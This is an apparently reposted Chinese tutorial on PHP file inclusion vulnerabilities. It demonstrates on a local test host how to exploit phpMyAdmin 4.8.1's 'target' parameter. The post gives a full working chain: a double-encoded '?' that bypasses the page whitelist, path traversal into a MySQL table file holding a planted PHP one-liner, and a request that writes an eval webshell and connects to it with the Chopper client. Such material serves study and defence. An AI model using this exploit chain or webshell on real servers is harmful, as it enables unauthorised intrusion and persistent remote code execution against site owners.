本第包含与远程包含--学习篇

2023-05-16

1、什么是文件包含

用一句话来说就是,文件包含不是漏洞,但是由于对包含进行的文件不可控,导致了文件包含漏洞的产生

文件包含分为两种

1、本地文件包含LFI (包含本地文件操控LFI)
2、远程文件包含RFI (需要添加默认php是不开启远程文件包含 开启需要配置allow_url_include = On
通过SMB也可以绕过

任意文件包含的函数

include(‘1.txt’) 加载某个文件内容当作php代码进行执行,它不在意后缀任何文件都可以包含,包括图片码
php运行到include然后去调用被包含的文件执行,如果文件包含不存在会报错,但是还是会往下执行

include_once 如果这个文件已经被包含过了就不会重复包含

require(‘1.txt’) 加载某个文件内容当作php代码进行执行,它不在意后缀任何文件都可以包含,包括图片码
php再运行前,就先去把被文件包含的内容提取出来然后整合成新的php一起执行,如果包含文件不存在就会报错也不会往下执行了
require_once 如果这个文件已经被包含过了就不会重复包含
文件包含是个功能只有当文件包含能够任意的操控它才能算个漏洞

实战演示、

需要条件
1、代码审计 、cms源码 phpMyAdmin-4.8.1-all-languages
2、后台账号密码

phpMyAdmin登录界面

登录前
在这里插入图片描述登录后
在这里插入图片描述

开始、
通过seay源代码审计系统,全局搜索,include函数,搜索到include $_REQUEST[‘target’]; 看到这我觉得可以利用,

在这里插入图片描述
看源代码,它需要满足以下内容才能进入的 最后一步,我们想要它进入最后一步

if (! empty($_REQUEST['target'])
    && is_string($_REQUEST['target'])
    && ! preg_match('/^index/', $_REQUEST['target'])
    && ! in_array($_REQUEST['target'], $target_blacklist)
    && Core::checkPageValidity($_REQUEST['target'])
) {
    include $_REQUEST['target'];
    exit;

第一个条件,有传参的时候返回true,没有传参的时候返回flase,满足第一个条件target要有传参

(! empty($_REQUEST['target'])  //empty()函数 它是检测变量是否是空的

在这里插入图片描述
第二个条件,检测传参是否字符串,如果是返回true,我们要包含文件肯定是字符串,又不是数组,第二条满足

is_string($_REQUEST['target']) //is_string 函数 检测变量是否字符串

在这里插入图片描述
第三个条件,index被正则过滤了,传参不能以index开头,满足

! preg_match('/^index/', $_REQUEST['target']) //preg_match 正则表达式函数

在这里插入图片描述第四个条件,传参值不能为这两个文件import.php’, 'export.php,第四条满足

! in_array($_REQUEST['target'], $target_blacklist) //in_array() 函数搜索数组中是否存在指定的值 // $target_blacklist 黑名单

在这里插入图片描述
在这里插入图片描述
第五个条件,右键追踪以下函数

Core::checkPageValidity($_REQUEST['target'])

我们可以看到有个白名单机制
在这里插入图片描述经过审计只允许传参白名单里的内容,我们继续看其他条件,分析以下代码

$_page = mb_substr(
            $page,
            0,
            mb_strpos($page . '?', '?')
        );
        if (in_array($_page, $whitelist)) {
            return true;

分析第一个代码mb_substr() 函数返回字符串的一部分 意思是我们要截取$page传参里的值,从0开始截

在这里插入图片描述

分析第二个代码mb_strpos()返回要查找的字符串在别一个字符串中首次出现的位置
在这里插入图片描述
截取$page传参里的值 比如你传个a 会拼接成 (a?) 读取第一个(?) 意思是截取?前的一切

mb_strpos($page . '?', '?') 

第五个条件要求?前的传参是白名单,列如sql.php
在这里插入图片描述

由于include它不能包含?,但是看到这里发现,它既然可以编码在这里插入图片描述

既然可以编码那就有戏,我们构造语句 target=sql.php?/…/…/ 由于include不能出现?需要将?编码一次 target=sql.php%253f/…/…/1.txt 跳出当前目录进入到1.txt文件 %25是%编码后的样子
在这里插入图片描述
成功执行了,读取了1.txt的内容

在这里插入图片描述我们确定了漏洞的存在,但是目标机器他不可能有个1.txt文件和一句话在里面给我包含吧,再mysql数据库中里有个data文件,以下图片对比一下发现文件都是一模一样的,那我们是不是可以在数据库做手脚呢?

在这里插入图片描述
经过测试,在wsh数据库里的fenshu表里面加个一句话字段,也可以直接建立一个库写入一句话的,但如果真实站点容易被发现,写在字段里隐秘一点
在这里插入图片描述

加入成功,构造语句执行一下

http://127.0.0.1/php/?target=sql.php%253f/../../../mysql/data/wsh/fenshu.frm&&8=phpinfo();

分析一下语句
?target=sql.php
%253f/ 这是?编码
…/ 跳回原本目录 (原本目录C:\www\WWW\php)
…/ 跳出php目录 (C:\www\WWW)
…/ 跳出www目录( C:\www)
mysql/ 进入到mysql目录 (C:\www\MySQL)
data/ 进入到data目录 (C:\www\MySQL/data)
wsh/ 进入到wsh目录 (C:\www\MySQL/data/wsh)
fenshu.frm&&8=phpinfo(); // 包含fenshu.frm (&&这是连接符 可以传递两个参数)
在这里插入图片描述
任意文件包含成功执行。
要想连接菜刀,需要写入一个文件才能连接,http://127.0.0.1/php/?target=sql.php%253f/…/…/…/mysql/data/wsh/fenshu.frm&&8=file_put_contents(‘qqq.php’,’<?php eval($_REQUEST[8])?>’);,qqq.php它会写入当前php目录下,
成功写入,并且执行了在这里插入图片描述
菜刀成功连接在这里插入图片描述
测试结束

本文内容由网友自发贡献,版权归原作者所有,本站不承担相应法律责任。如您发现有涉嫌抄袭侵权的内容,请联系:hwhale#tublm.com(使用前将#替换为@)

本第包含与远程包含--学习篇 的相关文章

  • openGauss企业版安装

    openGauss企业版安装 一 下载openGauss 企业版软件包二 安装Python 3三 安装系统软件依赖四 系统环境设置1 关闭防火墙 安装好了记得打开 2 关闭SELINUX3 设置时区和时间4 设置网卡MTU值5 查看host
  • 专项测试实战 | 如何测试 App 流畅度(基于 FPS 和丢帧率)

    本文为霍格沃兹测试学院学员学习笔记 xff0c 进阶学习文末加群 FPS 和丢帧率可以在一定程度上作为 APP 流畅度的一项衡量标准 xff0c 本文介绍利用 adb shell dumpsys gfxinfo 命令获取软件渲染加载过程的数
  • iOS 视图(UIView)动画

    如果需要在视图 xff08 UIView xff09 上进行一些简单动画 xff0c 可以使用视图动画 视图动画底层也是使用Core Animation xff0c 只是动画的实现细节都封装起来了 UIKit类通常都有animated布尔型
  • MyBatis重复查询产生的一级缓存问题,导致查询失败

    问题 业务场景一直在一个事务中执行同一个sql xff0c myBatis默认第一次查询数据库 xff0c 第二次直接在一级缓存中取 那么在复杂业务中 xff0c 别的线程改变数据的时候 xff0c 那么久可能造成一直使用缓存中的值而造成数
  • 如何安全的从ubuntu16.04升级到18.04?

    Ubuntu全盘备份与恢复 xff0c 亲自总结 xff0c 实测可靠 按照ubuntu官方发布计划 xff0c ubuntu16 04将在2021年4月停止工作 xff0c 加上新出的一些硬件和算法都是考虑了到18 04的兼容 xff0c
  • 当Mysql的Update和Deletes语句不能使用报错时的问题

    当发生Error Code 1175 You are using safe update mode and you tried to update a table without a WHERE that uses a KEY column
  • Python代码使用tesseract进行文字识别console没有反应

    今天使用tesseract进行识别 xff0c 跟着B站的视频写了如下代码 span class token keyword import span pytesseract span class token keyword as span
  • 【C++】string的深浅拷贝问题

    深浅拷贝 问题引入浅拷贝深拷贝总结 问题引入 对于一个普通的string类 xff1a class String public String const char str 61 34 34 构造函数 if nullptr 61 61 str
  • 安装debian11系统

    镜像下载地址 xff1a https gemmei ftp acc umu se debian cd current amd64 iso cd debian 11 6 0 amd64 netinst iso 一 选择图形化安装 xff08
  • 头歌平台(EduCoder)————软件测试(黑盒测试)

    第1关 xff1a 等价类划分法 任务描述 本关任务 xff1a 编写代码 xff0c 使用等价类划分法进行黑盒测试 相关知识 为了完成本关任务 xff0c 你需要掌握等价类划分法 第2关 xff1a 边界值法 任务描述 本关任务 xff1
  • Copilot插件下载--IDEA

    1 将你的 github copilot 更新到最新版本 xff08 1 1 24 1610 xff09 然后关闭idea 2 下载这个版本的 github copilot 1 1 20 1417 https plugins jetbrai
  • 蓝桥杯(2)——蜂鸣器与继电器的使用

    目录 蜂鸣器与继电器的使用 一 原理 二 代码控制 三 与LED的连接控制举例 蜂鸣器与继电器的使用 一 原理 首先 xff0c 如何去控制蜂鸣器与继电器呢 xff0c 必须要知道的是蜂鸣器与继电器的各个引脚图 xff08 如下 xff09
  • 蓝桥杯05-独立按键的操作

    目录 xff08 一 xff09 1 原理 xff1a 2 思路 xff1a 一般按下某一键 xff0c 以S7为例时 xff0c 用if函数判断是否按下来执行之后的操作 xff08 延时去抖动 xff09 xff08 二 xff09 xf
  • 蓝桥杯07-51单片机的中断系统

    1 中断 xff1a 你正在追电视剧 神雕侠侣 正看得入迷的时候 xff0c 电话响了 xff0c 你暂停电视剧 xff0c 去接电话 xff0c 在接电话的过程中 xff0c 门铃又响了 xff0c 你暂时放下电话 xff0c 去把门打开
  • 蓝桥杯09-PWM脉冲调制的操作

    目录 一 原理 二 设置思路 xff1a 三 题目练习 一 原理 1 脉冲宽度调制 xff08 PWM xff09 是一种对模拟信号电平进行数字编码的方法 通过高分辨率计数器的使用 xff0c 方波的占空比被调制用来对一个具体模拟信号的电平
  • 蓝桥杯10-存储器mm模式写法

    一 概念原理 51 单片机可以外扩 64K 字节的 RAM 和 ROM 空间 xff0c 传统的 8051 单片机具有 16 位地 址总线和 8 位数据总线 xff0c 其中 P0 口作为数据和地址低字节的复用端口 xff0c P2 口作为
  • 蓝桥杯11-DS18B20的原理与使用

    目录 一 原理 二 操作步骤 三 解题思路 四 数据处理 五 实训代码 xff08 检测环境温度 xff09 一 原理 单总线数字温度传感器DS18B20 xff0c 基本是蓝桥杯比赛必考模块 xff0c 所以它的原理是必须要清楚的 工作电
  • 555定时器与频率测量

    一 概述 xff1a 在NE355定时器内部 xff0c 有3个5K的电阻分压 xff0c 故称为555定时器 xff1b xff08 作为信号发生电路 xff09 NET SIG接到P3 4 xff0c 定时器0的计数信号输入引脚 xff
  • 蓝桥杯各个模块总结(参考)

    明天就要比赛了 xff0c 今天总结一份救命模板加深记忆 xff1b 1 24c02的操作 61 61 61 61 61 61 61 61 61 61 61 61 61 61 61 61 61 61 24C02单字节写入 61 61 61
  • 如何让你的内网服务器可以被外网访问到(端口映射、NAT、域名解析、IP地址)

    众所众知 xff0c 我们一般情况下是处在私有网段中 xff0c 我们可以访问外网 xff0c 但是外网访问不到我们 如果想要在Internet网上被访问到就需要有一个公网IP 问题1 xff1a 什么是NAT xff08 网络地址转换 x

随机推荐

  • 头歌平台(EduCoder)————软件测试(测试过程与策略)

    第1关 xff1a 测试策略 任务描述 本关任务 xff1a 根据所学知识 xff0c 完成右侧的选择题 相关知识 为了完成本关任务 xff0c 你需要掌握软件测试的测试策略 第2关 xff1a 测试过程 任务描述 本关任务 xff1a 根
  • 使用vscode下载插件在线打开html界面,解决没有Open in default brower选择问题

    前言 今天刚下载的vscoode xff0c 写了一个html不知道怎么通过vscode打开 问了下百度 xff0c 说需要选择Open in default brower 但是我鼠标右键后并没有找到 Open in default bro
  • Wsl设置图形界面

    文章目录 Wsl设置图形界面原理步骤启动 Wsl设置图形界面 目前 xff0c Wsl尚未正式支持图形显示 xff08 预览版已经有该功能 xff09 为了使用图形界面 xff0c 可以使用Xserver 原理 Xorg使用客户端 服务器模
  • pytest之常用插件

    文章目录 pytest常用的插件有哪些pytest ordering 用法pytest xdist 用法 pytest常用的插件有哪些 pip install pytest span class token operator span or
  • 如何将自己的python代码打包成库,可以让别人使用pip安装调用?

    大家好 xff0c 本文是解决如何将自己的python代码建成一个python库 xff0c 可以让任何人都能pip install lt 库名 gt 使用 xff0c 亲测有效 xff01 前期准备 xff1a 1 创建PyPI用户 Py
  • javascript中本地储存、离线缓存、地理定位、网络状态

    本地储存 xff1a 实际开发中某些内容是不需要放到服务器中 xff0c 而是放到了浏览器中 xff0c 需要的时候可以快速的访问 xff0c 甚至页面刷新也可能不会丢失数据 xff0c 容量较大 xff1b 这里介绍两种数据存储方式 xf
  • 二、nginx添加header

    一 添加header 解释 xff1a nginx添加header比较简单 xff0c 如下 格式 xff1a add header header的名称 header的内容 例如 xff1a add header Cache Control
  • ffmpeg叠加透明通道

    ffmpeg i in mp4 i x mov filter complex 34 0 1 overlay 61 alpha 61 1 34 y output mp4
  • 三门问题-概率学习-蒙特卡洛模拟验算

    三门问题 参赛者会看见三扇关闭了的门 xff0c 其中一扇的后面有一辆汽车 xff0c 选中后面有车的那扇门可赢得该汽车 xff0c 另外两扇门后面则各藏有一只山羊 当参赛者选定了一扇门 xff0c 但未去开启它的时候 xff0c 节目主持
  • Linux 路由表解密:详解路由表的构成与作用

    Linux是一种开源的操作系统 xff0c 自由软件 xff0c 使用范围非常广泛 Linux中有一个非常重要的功能 xff0c 就是路由表 路由表是一张表格 xff0c 用来描述网络中各个主机之间的连接关系 在Linux中 xff0c 路
  • Supervisor 之部署

    介绍 supervisor可以对进程进行监管 xff0c 当进程挂掉 xff0c 可以对进程进行重启 xff0c 不用编写额外的脚步进行控制 名词 supervisor xff1a 安装的软件的名称 supervisord xff1a 装好
  • 可变长度参数的应用方式

    va list 直接函数定义 va list是编译器内嵌的一种函数 typedef builtin va list gnuc va list typedef gnuc va list va list int dbg print const
  • 详解项目中使用dotPeek调试源码

    一 简介 说到 debug 源码 xff0c 许多很多搞开发的小伙伴都会异常的兴奋 xff0c 这也是像上成长的毕竟之路 调试源码方式通常有两种 xff1a 一是有了源代码 xff0c 也有了 pdb 文件 二是借助第三方工具 xff0c
  • 笔记本电脑如何通过HDMI连接屏幕进行投影

    1 使用HDMI xff08 高清多媒体接口 xff0c High Definition Multimedia Interface xff09 连接笔记本电脑 2 在电脑桌面空白处右键点击 显示设置 3 在 多显示器 的下拉列表中选择 复制
  • 一款Java开源的Springboot即时通讯 IM,附源码

    开篇 电商平台最不能缺的就是即时通讯 xff0c 例如通知类下发 xff0c 客服聊天等 今天 xff0c 就来给大家分享一个开源的即时通讯系统 如对文章不感兴趣可直接跳至文章末尾 xff0c 有获取源码链接的方法 但文章内容是需要你简单的
  • dpkg 命令使用说明

    dpkg是一个debian包管理工具 能够对包进行安装 卸载 获取信息等操作 用法 xff1a 安装 xff08 解包并配置 xff09 xff1a dpkg i package file dpkg install package file
  • ubantu开启FTP使用 FileZilla与windows文件互传(图文教程)

    平台 xff1a VMware Workstation 16 Pro iso镜像 xff1a ubuntu 22 04 1 desktop amd64 iso 第一步 xff1a 先打开终端 第二步 xff1a 分别输入下面两条代码 xff
  • 虚拟机Ubuntu20.04安装NVIDIA显卡驱动失败原因

    本来想在ubuntu里使用Tensorflow的GPU版 但是按照一系列操作 xff0c 在处理显卡驱动问题的时候 xff0c 出现下图报错 xff1a 后来查到虚拟机不支持显卡驱动 xff0c 显卡不支持虚拟化 xff0c 所以不能用Te
  • C语言练习:输入一个十进制将其转换成八进制和十六进制

    文章目录 前言一 题意二 代码1 代码的实现2 读入数据 总结 前言 输入一个十进制将其转换成八进制和十六进制本题是在C语言中较为常见的问题 xff01 一 题意 在C环境中输入一个十进制数 xff0c 在结果中第一行输出8进制数第二行输出
  • 本第包含与远程包含--学习篇

    1 什么是文件包含 用一句话来说就是 xff0c 文件包含不是漏洞 xff0c 但是由于对包含进行的文件不可控 xff0c 导致了文件包含漏洞的产生 文件包含分为两种 1 本地文件包含LFI xff08 包含本地文件操控LFI xff09